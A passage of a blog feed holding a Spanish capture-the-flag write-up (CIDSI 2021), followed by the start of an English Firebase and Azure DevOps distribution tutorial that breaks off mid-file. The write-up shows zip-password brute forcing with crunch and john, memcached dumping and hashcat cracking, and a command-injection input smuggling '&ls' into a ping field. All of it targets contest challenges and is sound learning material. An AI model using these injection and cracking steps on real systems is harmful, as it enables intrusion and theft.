Tecnolog&#xED;as de Informaci&#xF3;n y Comunicaci&#xF3;n (AGETIC) en diciembre del 2021, en esta ocasi&</p>]]></description><link>https://blog.scesi.org/ctf-cidsi-2021-writeup/</link><guid isPermaLink="false">61ce063dedab8b59b23ede93</guid><category><![CDATA[WriteUp]]></category><dc:creator><![CDATA[Diego Corrales Vega]]></dc:creator><pubDate>Wed, 26 Jan 2022 14:20:56 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2022/01/image844.png" medium="image"/><content:encoded><![CDATA[<img src="https://blog.scesi.org/content/images/2022/01/image844.png" alt="WRITEUP CTF CIDSI 2021"><p>Hola de nuevo, este CTF se llev&#xF3; a cabo en el Congreso Internacional De Seguridad Inform&#xE1;tica (CIDSI) y organizado por la Agencia de Gobierno Electr&#xF3;nico y Tecnolog&#xED;as de Informaci&#xF3;n y Comunicaci&#xF3;n (AGETIC) en diciembre del 2021, en esta ocasi&#xF3;n la participaci&#xF3;n fue individual, y como miembros de SCESI y representando a la UMSS obtuvimos buenos puestos en la tabla de puntaje final, <a href="https://www.linkedin.com/in/jhonny-gary-mamani-cortez-aab153227/">Gary</a> que en su primer CTF qued&#xF3; 6to, &#xA0;<a href="https://www.facebook.com/israel.arispe.16">Israel</a> obtuvo el 3er lugar y mi <a href="https://www.linkedin.com/in/diego-corrales-vega-8a445222a/">persona</a> logr&#xF3; el 2do lugar en la competencia.</p><h2 id="navidad-en-el-c%C3%B3digo">Navidad en el c&#xF3;digo</h2><h6 id="puntos-105">Puntos: 105</h6><!--kg-card-begin: markdown--><blockquote>
<p>El desarrollador junior llam&#xF3; desde su nuevo trabajo y nos comenta que nos dej&#xF3; un mensaje de fin de a&#xF1;o, revisamos los servidores donde ten&#xED;a acceso y encontramos una p&#xE1;gina web con un &#xE1;rbol de navidad. Pero no pudimos encontrar el mensaje, &#xBF;nos ayudas?</p>
</blockquote>
<!--kg-card-end: markdown--><p>Ingresando al link que nos proporciona el reto podemos visualizar una p&#xE1;gina web la cual contiene la imagen de un &#xE1;rbol de navidad, si inspeccionamos el c&#xF3;digo fuente podemos ver un script en javascript llamado <code>navidad.js</code>.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2021/12/msg366210826-17331.jpg" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="1280" height="747" srcset="https://blog.scesi.org/content/images/size/w600/2021/12/msg366210826-17331.jpg 600w, https://blog.scesi.org/content/images/size/w1000/2021/12/msg366210826-17331.jpg 1000w, https://blog.scesi.org/content/images/2021/12/msg366210826-17331.jpg 1280w" sizes="(min-width: 1200px) 1200px"></figure><p>Si vemos el contenido del script encontraremos una funci&#xF3;n llamada <code>getFlag()</code> con el siguiente mensaje cifrado:</p><p><strong><code>MZWGCZ33IVWCAY3PMRUWO3ZANVQXGIDENFTGSY3JNQQGIZJAMNXXE4TFM5UXEIDFOMQGC4LVMVWCAZDFNQQHC5LFEBYGSZLOONQXGIDROVSSAZLTEBUW24DPONUWE3DFEBYXKZJAMFWGO3ZAMVZXIYJANVQWYLT5</code></strong></p><p>Podemos utilizar una herramienta online como <a href="https://gchq.github.io/CyberChef/">cyberchef</a>, al parecer est&#xE1; cifrada en Base32, una vez descifrado obtenemos la flag:</p><p><code>flag{El c&#xF3;digo m&#xE1;s dif&#xED;cil de corregir es aquel del que piensas que es imposible que algo est&#xE1; mal.}</code></p><h2 id="crackeando-evidencias">Crackeando evidencias</h2><h6 id="puntos-115">Puntos: 115</h6><blockquote>Encuentra la contrase&#xF1;a del PDF y la flag ser&#xE1; tuya.</blockquote><p>Para el siguiente reto se no proporciona un archivo zip, si vemos el contenido encontramos dos archivos, un PDF que est&#xE1; protegido con contrase&#xF1;a y una imagen que ser&#xE1; nuestra pista.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2021/12/1.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="406" height="138"></figure><p>Si analizamos los metadatos de la imagen <code>pista.jpg</code> en la secci&#xF3;n de descripci&#xF3;n podemos ver una cadena que parece estar cifrada.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2021/12/2.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="1323" height="350" srcset="https://blog.scesi.org/content/images/size/w600/2021/12/2.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2021/12/2.JPG 1000w, https://blog.scesi.org/content/images/2021/12/2.JPG 1323w" sizes="(min-width: 720px) 720px"></figure><p>Luego de descifrar el mensaje es con base64 y luego HEX, de esta forma obtenemos un mensaje: <code>La fe sin acciones en inservible</code>.</p><p>Si usamos el mensaje como contrase&#xF1;a para el PDF protegido podemos ver el contenido y obtener finalmente la flag del reto <code>CTF{5998516ca8709c7bdc0d12fa01af89c6}</code>.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2021/12/3.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="1290" height="736" srcset="https://blog.scesi.org/content/images/size/w600/2021/12/3.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2021/12/3.JPG 1000w, https://blog.scesi.org/content/images/2021/12/3.JPG 1290w" sizes="(min-width: 720px) 720px"></figure><h2 id="desarrollador-senior">Desarrollador Senior</h2><h6 id="puntos-210">Puntos: 210</h6><!--kg-card-begin: markdown--><blockquote>
<p>El desarrollador web senior de 58 a&#xF1;os, se niega a aprender a usar nuevas herramientas y tecnolog&#xED;as, adem&#xE1;s de aplicar buenas pr&#xE1;cticas en la gesti&#xF3;n de contrase&#xF1;as.<br>
Al final renunci&#xF3; y se fue de viaje, dej&#xF3; entre sus informes un texto que se supon&#xED;a era la contrase&#xF1;a de acceso al datacenter, pero no funciona... en la &#xFA;ltima comunicaci&#xF3;n con &#xE9;l, lo &#xFA;nico que se pudo escuchar fue base ...<br>
Confiamos en tus habilidades para obtener la contrase&#xF1;a real.<br>
REY1cmliRXMzOVZHZU0zUTdVVWhYZUVmTWRlNW44Z0c2WHZGUEY2dVBlZlFxTDlkVWRmeEN3OTZkZGt0eE5LbmVZTDkxSHdkamRWZFZ2</p>
</blockquote>
<!--kg-card-end: markdown--><p>Para el siguiente reto tenemos el siguiente mensaje cifrado: </p><p><strong><code>REY1cmliRXMzOVZHZU0zUTdVVWhYZUVmTWRlNW44Z0c2WHZGUEY2dVBlZlFxTDlkVWRmeEN3OTZkZGt0eE5LbmVZTDkxSHdkamRWZFZ2</code></strong></p><p>Podemos hacer uso de <a href="https://gchq.github.io/CyberChef/">cyberchef</a> para ir probando diferentes tipos de cifrado, seg&#xFA;n la descripci&#xF3;n del reto el &#xFA;ltimo mensaje que se pudo escuchar dec&#xED;a &quot;Base&quot; , entonces podemos probar combinaci&#xF3;n de estos cifrados y usando Base64 y luego Base58 obtenemos la flag del reto <code>flag{Te pienso m&#xE1;s que las p&#xE1;ginas indexadas por google.}</code>.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/2-1.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="1534" height="487" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/2-1.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/2-1.JPG 1000w, https://blog.scesi.org/content/images/2022/01/2-1.JPG 1534w" sizes="(min-width: 1200px) 1200px"></figure><h2 id="non-nobis-domine-non-nobis-sed-nomini-tuo-da-gloriam">Non nobis domine, non nobis, sed Nomini tuo da Gloriam!</h2><h6 id="puntos-280">Puntos: 280</h6><!--kg-card-begin: markdown--><blockquote>
<p>Tu compa&#xF1;ero de trabajo te envi&#xF3; un archivo protegido con contrase&#xF1;a, pero se le olvid&#xF3; la clave, sin embargo &#xE9;l sabe que la clave comprende de 7 a 8 d&#xED;gitos ya que nunca utiliza letras.</p>
</blockquote>
<!--kg-card-end: markdown--><p>Para este reto tenemos un archivo comprimido protegido con contrase&#xF1;a, seg&#xFA;n la descripci&#xF3;n la clave contiene de 7 a 8 d&#xED;gitos, entonces podemos crearnos un diccionario con la herramienta <a href="https://github.com/fpolit/crunch">crunch</a>, especificamos que la clave contenga los n&#xFA;meros del 0 al 9 y que el tama&#xF1;o de los n&#xFA;meros generados sean m&#xED;nimo de 7 y m&#xE1;ximo de 8 d&#xED;gitos, entonces con el comando <code>crunch 7 8 0123456789 -o numbers.txt</code> y tenemos listo nuestro diccionario.</p><p>Lo siguiente es generar un hash a partir del archivo comprimido para poder realizar el ataque de fuerza bruta, podemos hacer eso con <code>zip2john</code> y guardar el hash en un archivo, entonces ejecutamos <code>zip2john ctf.zip &gt; hash</code>, tenemos el hash listo.</p><p>Por &#xFA;ltimo podemos usar john para realizar el ataque de fuerza bruta, con el comando <code>sudo john --wordlist=numbers.txt hash.txt</code>.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/1-22.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="967" height="176" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-22.JPG 600w, https://blog.scesi.org/content/images/2022/01/1-22.JPG 967w" sizes="(min-width: 720px) 720px"></figure><p>Genial, ya tenemos la contrase&#xF1;a del zip <code>5847123</code>, &#xA0;ya podemos ver la imagen que es la siguiente.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/2-4.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="605" height="592" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/2-4.JPG 600w, https://blog.scesi.org/content/images/2022/01/2-4.JPG 605w"></figure><p>En la imagen observamos s&#xED;mbolos extra&#xF1;os, algo que podemos hacer es buscar algo relacionado al t&#xED;tulo del reto, al parecer es lat&#xED;n y est&#xE1; relacionado a los caballeros templarios, si buscamos alg&#xFA;n alfabeto o cifrado templario encontramos lo siguiente.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/5bb7f49892a0ff12d50cc5bce2f7d940.jpg" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="466" height="358"></figure><p>Si usamos el alfabeto obtenemos el mensaje <code>vamossigueadekante</code>, aqu&#xED; tuve el problema de mandar el mensaje como flag final y no ser correcto, por lo que pens&#xE9; que faltaba algo, intent&#xE9; traducirlo a lat&#xED;n y perd&#xED; tiempo e intentos, al final la soluci&#xF3;n consist&#xED;a en adaptar el mensaje a nuestro alfabeto, la flag final es <code>vamossigueadelante</code>.</p><h2 id="un-amor-entre-deshechos-qu%C3%ADmicos">Un amor entre deshechos <strong><strong>qu&#xED;micos</strong></strong></h2><h6 id="puntos-405">Puntos: 405</h6><blockquote>Tu crush te envi&#xF3; un correo desde Chern&#xF3;bil!!!!! Hermosa postal &#xBF;no?</blockquote><p>Si analizamos el contenido del pdf primero vemos algunas pistas en el p&#xE1;rrafo inicial, se nos habla de elementos qu&#xED;micos, y al parecer el n&#xFA;mero 119 es muy importante, adem&#xE1;s en la parte inferior de la imagen tenemos un mensaje cifrado.</p><p>Si vemos los n&#xFA;meros at&#xF3;micos de los elementos qu&#xED;micos podemos notar que no existe ning&#xFA;n elemento con n&#xFA;mero at&#xF3;mico 119, por lo cual podemos suponer que ser&#xE1;n los espacios en el mensaje cifrado.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/2-2.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="915" height="681" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/2-2.JPG 600w, https://blog.scesi.org/content/images/2022/01/2-2.JPG 915w" sizes="(min-width: 720px) 720px"></figure><pre><code>22921196344633411992104711956631010553653810</code></pre><p>Si cambiamos 119 por espacios tenemos como resultado:</p><pre><code>2292 63446334 921047 56631010553653810</code></pre><p>Podemos usar una tabla de elementos at&#xF3;micos para intercambiar los valores que representan los n&#xFA;meros at&#xF3;micos con la nomenclatura de los elementos qu&#xED;micos.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/tabla-periodica-1-2.jpg" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="2000" height="1414" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/tabla-periodica-1-2.jpg 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/tabla-periodica-1-2.jpg 1000w, https://blog.scesi.org/content/images/size/w1600/2022/01/tabla-periodica-1-2.jpg 1600w, https://blog.scesi.org/content/images/2022/01/tabla-periodica-1-2.jpg 2000w" sizes="(min-width: 1200px) 1200px"></figure><p>Si hacemos el cambio con pesos qu&#xED;micos de dos d&#xED;gitos tenemos como resultado algo as&#xED;: <code>TiU EuRuEuSe UNeAg &#xA0;BaEuNeNeCsKrIONe</code>.</p><p>Es un mensaje que no nos dice nada... pero si prestamos atenci&#xF3;n solamente a las iniciales de los elementos qu&#xED;micos se va formando un mensaje en las primeras dos palabras y tendr&#xED;amos <code>Tu eres una</code>, el problema es la tercera palabra, pero luego de realizar otros cambios, algunos tomando n&#xFA;meros at&#xF3;micos de 3 d&#xED;gitos finalmente obtenemos el mensaje final <code>TiU EuRuEuSe UNeAg &#xA0;BaEuNeDbICIONe</code>, y tomando solo las iniciales obtenemos la flag <code>tu eres una bendicion</code>.</p><h2 id="pandas">Pandas</h2><h6 id="puntos-250">Puntos: 250</h6><!--kg-card-begin: markdown--><blockquote>
<p>Quer&#xED;a enviar este archivo a mi jefe pero no quer&#xED;a que nadie m&#xE1;s viera lo que hay dentro, as&#xED; que lo proteg&#xED; con un PIN y para no olvidarme use el mismo n&#xFA;mero que mi celular.</p>
</blockquote>
<!--kg-card-end: markdown--><p>Para este reto tenemos el archivo pandas.zip, el cual est&#xE1; protegido con contrase&#xF1;a, seg&#xFA;n la descripci&#xF3;n del reto la contrase&#xF1;a es un numero de celular, por lo tanto podemos crear un diccionario de n&#xFA;meros de celular para realizar fuerza bruta y obtener la contrase&#xF1;a.</p><p>Creamos el diccionario especificando que ser&#xE1;n combinaciones num&#xE9;ricas de 8 cifras de la siguiente manera: <code>crunch 8 8 0123456789 -o celnum.txt</code>.</p><p>Luego podemos usar <code>zip2john</code> para conseguir el hash de las im&#xE1;genes de la siguiente forma: <code>zip2john pandas.zip &gt; hash</code>.</p><p>Y finalmente para conseguir la contrase&#xF1;a ejecutamos <code>john --wordlist=celnum.txt hash</code>.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/p.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="1145" height="209" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/p.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/p.JPG 1000w, https://blog.scesi.org/content/images/2022/01/p.JPG 1145w"></figure><p>Continuando con el reto nos encontramos con 2 im&#xE1;genes, que tienen distinto peso, a simple vista parecen im&#xE1;genes simulares, as&#xED; que intent&#xE9; sobreponer una imagen sobre otra y aplicar algunos filtros pero nada interesante, tambi&#xE9;n revis&#xE9; metadatos pero tampoco encontr&#xE9; nada, finalmente para conseguir la flag se necesitaba comparar las im&#xE1;genes con <code>strings</code> de la siguiente manera <code>strings -n 10 panda.jpg panda2.jpg</code>.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/p1.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="1088" height="261" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/p1.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/p1.JPG 1000w, https://blog.scesi.org/content/images/2022/01/p1.JPG 1088w"></figure><p>De esta manera encontramos la flag del reto <code>Exelente_tr4baj0_p4d4w4n</code>.</p><h2 id="cacheando-al-mundo">Cacheando al mundo</h2><h6 id="puntos-301">Puntos: 301</h6><blockquote>Explotaci&#xF3;n de un servicio de memcached mal configurado. Host: 45.63.83.218</blockquote><p>Si leemos la descripci&#xF3;n del reto nos dan informaci&#xF3;n muy valiosa y que nos ahorra tiempo, debemos explotar el servicio memcached, primero realizamos la enumeraci&#xF3;n de puertos para detectar en que puerto est&#xE1; corriendo el servicio, para esto utilizare una herramienta de escaneo r&#xE1;pido de puertos <a href="https://github.com/dievus/threader3000">threader3000</a>.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/image-40.png" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="764" height="282" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-40.png 600w, https://blog.scesi.org/content/images/2022/01/image-40.png 764w"></figure><p>Tenemos un puerto abierto, siguiendo los pasos de explotaci&#xF3;n manual que encontr&#xE9; en esta <a href="https://book.hacktricks.xyz/pentesting/11211-memcache">p&#xE1;gina</a> , con <code>memcdump</code> podemos listar los &#xED;tems y obtenemos dos &#xED;tems, <code>hash</code> y <code>salt</code>, luego con <code>memccat</code> podemos ver el contenido de ambos &#xED;tems, obteniendo <code>CIDSI_la_rompe</code> y <code>c86F5096D95DCC01D49BCB6819F5C64B</code>.</p><p>Para romper el hash usaremos hashcat de la siguiente forma <code>hashcat -m 10 &quot;C86F5096D95DCC01D49BCB6819F5C64B:CIDSI_la_rompe&quot; -a 0 /usr/share/wordlists/rockyou.txt</code> y obtenemos el mensaje <code>TINKER12</code> de esta forma completamos el reto.</p><h2 id="developer-enojado">Developer enojado</h2><h6 id="puntos-450">Puntos: 450</h6><blockquote><strong>El flag est&#xE1; escondido en el c&#xF3;digo fuente de la aplicacion m&#xF3;vil. <a href="https://cidsi2021-ctf-web0050.chals.io/">https://cidsi2021-ctf-web0050.chals.io/</a></strong></blockquote><p>Si ingresamos al link que nos proporciona el reto nos encontramos con un <code>ping checker</code>.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/1-23.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="1221" height="604" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-23.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/1-23.JPG 1000w, https://blog.scesi.org/content/images/2022/01/1-23.JPG 1221w" sizes="(min-width: 720px) 720px"></figure><p>Podemos intentar realizar <a href="https://blog.hackmetrix.com/command-injection/">command injection</a>, para ello podemos probar algunos caracteres que en Linux se usan para concatenar comandos como:</p><ul><li>|</li><li>||</li><li>&amp;</li><li>;</li></ul><p>En este caso podemos concatenar comando con el car&#xE1;cter <code>&amp;</code>, as&#xED; que escribiendo una IP que para la prueba puse <code>8.8.8.8</code> y luego a&#xF1;adiendo <code>&amp;ls</code> se obtiene lo siguiente:</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/2-5.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="1314" height="782" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/2-5.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/2-5.JPG 1000w, https://blog.scesi.org/content/images/2022/01/2-5.JPG 1314w" sizes="(min-width: 1200px) 1200px"></figure><p>Se puede listar los archivos del servidor, de esta forma podemos descargar la aplicaci&#xF3;n m&#xF3;vil <code>flutter.apk.zip</code>, la cual est&#xE1; protegida con contrase&#xF1;a, si vemos la lista de archivos hay uno llamado <code>Escucha-con-tus-ojos.wav</code>, el nombre del archivo ya nos da una pista de lo que podemos hacer, ver los espectrogramas con la siguiente <a href="https://academo.org/demos/spectrum-analyzer/">p&#xE1;gina</a>f y obtener un mensaje que puede ser la contrase&#xF1;a que buscamos.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/1-24.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="1072" height="550" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/1-24.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/1-24.JPG 1000w, https://blog.scesi.org/content/images/2022/01/1-24.JPG 1072w"></figure><p>Usamos la contrase&#xF1;a <code>HAKUNAMATATAS</code>, y tenemos lista la aplicaci&#xF3;n, intent&#xE9; instalarla en mi celular pero al parecer estaba da&#xF1;ada. </p><p>Para analizar los archivos y el c&#xF3;digo de la aplicaci&#xF3;n ejecuto <code>apktool d flutter.apk</code>.</p><p>Realizando b&#xFA;squedas con <code>grep</code> con par&#xE1;metros como <code>flag</code> o <code>flag{</code> encuentro varias coincidencias pero que no nos sirven, as&#xED; que tal ves la flag este en una variable por lo tanto ejecuto <code>grep -r &quot;flag=&quot; --color --text</code>,uso el par&#xE1;metro <code>--color</code> para que marque en rojo las coincidencias y el par&#xE1;metro <code>--text</code> para que nos muestre en texto plano las coincidencias que encuentre en los binarios.</p><figure class="kg-card kg-image-card kg-width-wide"><img src="https://blog.scesi.org/content/images/2022/01/2-6.JPG" class="kg-image" alt="WRITEUP CTF CIDSI 2021" loading="lazy" width="1341" height="278" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/2-6.JPG 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/2-6.JPG 1000w, https://blog.scesi.org/content/images/2022/01/2-6.JPG 1341w" sizes="(min-width: 1200px) 1200px"></figure><p>De esta forma encontramos la flag del reto <code>B0liv1a_va_al_mund1al_2022</code>.</p><p>Con esto termina el Write-Up, en esta ocasi&#xF3;n el CTF cont&#xF3; con retos muy interesantes, al final me faltaron resolver varios retos, termine con una puntuaci&#xF3;n de 2116, a un reto para alcanzar al primer lugar,Israel qued&#xF3; con 1836 puntos y Gary con 1085 puntos, aqu&#xED; pueden ver la <a href="https://cgii.gob.bo/eventos/cidsi2021/competencia.html">tabla</a> de puntos finales. Cualquier pregunta o reclamo lo pueden hacer en la secci&#xF3;n de comentarios y hasta la pr&#xF3;xima.</p><p>Regards and Happy Hacking!!!</p>]]></content:encoded></item><item><title><![CDATA[Lets distribute our apps with firebase distribution and azure devops pipelines]]></title><description><![CDATA[<p>Whenever we are developing apps we need to distribute them somehow, at least while working with QA teams it is needed to constantly send them builds. <br>Instead of generating APK&apos;s or AAB&apos;s, and uploading them to distribution center like firebase or appcenter, we can directly automate</p>]]></description><link>https://blog.scesi.org/distribute-apps-with-firebase-and-azure-devops/</link><guid isPermaLink="false">611803b3a26dde2ed0c69003</guid><dc:creator><![CDATA[Alvaro]]></dc:creator><pubDate>Mon, 17 Jan 2022 00:38:41 GMT</pubDate><media:content url="https://blog.scesi.org/content/images/2022/01/android-logo.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://blog.scesi.org/content/images/2022/01/android-logo.jpg" alt="Lets distribute our apps with firebase distribution and azure devops pipelines"><p>Whenever we are developing apps we need to distribute them somehow, at least while working with QA teams it is needed to constantly send them builds. <br>Instead of generating APK&apos;s or AAB&apos;s, and uploading them to distribution center like firebase or appcenter, we can directly automate this process using pipelines.</p><p>In order to achieve this we are going to: </p><ul><li>Set up a firebase project and basic android project for distribution</li><li>Build your android project</li><li>Experiment with firebase CLI (optional)</li><li>Create a pipeline</li><li>Use AppTester</li></ul><h2 id="create-an-android-project">Create an android Project</h2><p>Create an android project or use an existing one. <br>Modifications to gradle files will be done in the &quot;Create a firebase project&quot; setup steps 7-9</p><h2 id="create-a-firebase-project">Create a firebase project</h2><p>Creating a firebase project is very straightforward, it only needs a couple of steps</p><h3 id="step-1">Step 1</h3><p>You need to create an account at <a href="https://console.firebase.google.com/">firebase console</a></p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-1.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1886" height="1512" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-1.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-1.png 1000w, https://blog.scesi.org/content/images/size/w1600/2022/01/image-1.png 1600w, https://blog.scesi.org/content/images/2022/01/image-1.png 1886w" sizes="(min-width: 720px) 720px"></figure><h3 id="step-2">Step 2 </h3><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-2.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="944" height="946" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-2.png 600w, https://blog.scesi.org/content/images/2022/01/image-2.png 944w" sizes="(min-width: 720px) 720px"></figure><h3 id="step-3">Step 3</h3><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-3.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="951" height="959" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-3.png 600w, https://blog.scesi.org/content/images/2022/01/image-3.png 951w" sizes="(min-width: 720px) 720px"></figure><p>Step 4</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-4.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="951" height="941" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-4.png 600w, https://blog.scesi.org/content/images/2022/01/image-4.png 951w" sizes="(min-width: 720px) 720px"></figure><h3 id="step-5">Step 5</h3><p>Project is ready to use, you can click on continue or go to console main page</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-5.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="945" height="802" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-5.png 600w, https://blog.scesi.org/content/images/2022/01/image-5.png 945w" sizes="(min-width: 720px) 720px"></figure><h3 id="step-6">Step 6 </h3><p>In this step you are going to create an android project <br>Click on the android logo pointed by the red rectangle</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-6.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="1855" height="1921" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-6.png 600w, https://blog.scesi.org/content/images/size/w1000/2022/01/image-6.png 1000w, https://blog.scesi.org/content/images/size/w1600/2022/01/image-6.png 1600w, https://blog.scesi.org/content/images/2022/01/image-6.png 1855w" sizes="(min-width: 720px) 720px"></figure><h3 id="step-7">Step 7</h3><p>It is necessary the package name, you need to go to your build.gradle file in your project and look for that.</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-16.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="680" height="266" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-16.png 600w, https://blog.scesi.org/content/images/2022/01/image-16.png 680w"></figure><p>Optionally you can add an app nickname (you probably should), and a certificate</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-15.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="714" height="807" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-15.png 600w, https://blog.scesi.org/content/images/2022/01/image-15.png 714w"></figure><h3 id="step-8">Step 8</h3><p>You need to download the json file , just follow the instructions in the image</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-17.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="844" height="804" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-17.png 600w, https://blog.scesi.org/content/images/2022/01/image-17.png 844w" sizes="(min-width: 720px) 720px"></figure><h3 id="step-9">Step 9</h3><p>You need to add the dependencies in the gradle file </p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-18.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="751" height="612" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-18.png 600w, https://blog.scesi.org/content/images/2022/01/image-18.png 751w" sizes="(min-width: 720px) 720px"></figure><p>This is how it looks in my current project :</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-20.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="673" height="471" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-20.png 600w, https://blog.scesi.org/content/images/2022/01/image-20.png 673w"></figure><p>In case you want to copy paste</p><pre><code>buildscript {
    repositories {
        google()
        mavenCentral()
    }
    dependencies {
        classpath &quot;com.android.tools.build:gradle:7.0.3&quot;
        classpath &quot;org.jetbrains.kotlin:kotlin-gradle-plugin:1.5.31&quot;
        classpath &apos;com.google.gms:google-services:4.3.10&apos;
    }
}


task clean(type: Delete) {
    delete rootProject.buildDir
}</code></pre><p>Additionally you have to modify the app-level build.gradle file</p><figure class="kg-card kg-image-card"><img src="https://blog.scesi.org/content/images/2022/01/image-19.png" class="kg-image" alt="Lets distribute our apps with firebase distribution and azure devops pipelines" loading="lazy" width="764" height="649" srcset="https://blog.scesi.org/content/images/size/w600/2022/01/image-19.png 600w, https://blog.scesi.org/content/images/2022/01/image-19.png 764w" sizes="(min-width: 720px) 720px"></figure><pre><code class="language-kotlin">plugins {
    id &apos;com.android.application&apos;
    id &apos;kotlin-android&apos;
    id &apos;com.google.gms.google-services&apos;
}

android {
    compileSdk 31

    defaultConfig {
        applicationId &quot;com.example.azuredevopsfirebasecd&quot;
        minSdk 21
        targetSdk 31
        versionCode 1
        versionName &quot;1.0&quot;

        testInstrumentationRunner &quot;androidx.test.runner.AndroidJUnitRunner&quot;
    }

    buildTypes {
        release {
            minifyEnabled false
            proguardFiles getDefaultProguardFile(&apos;proguard-android-optimize.txt&apos;), &apos;proguard-rules.pro&apos;
        }
    }
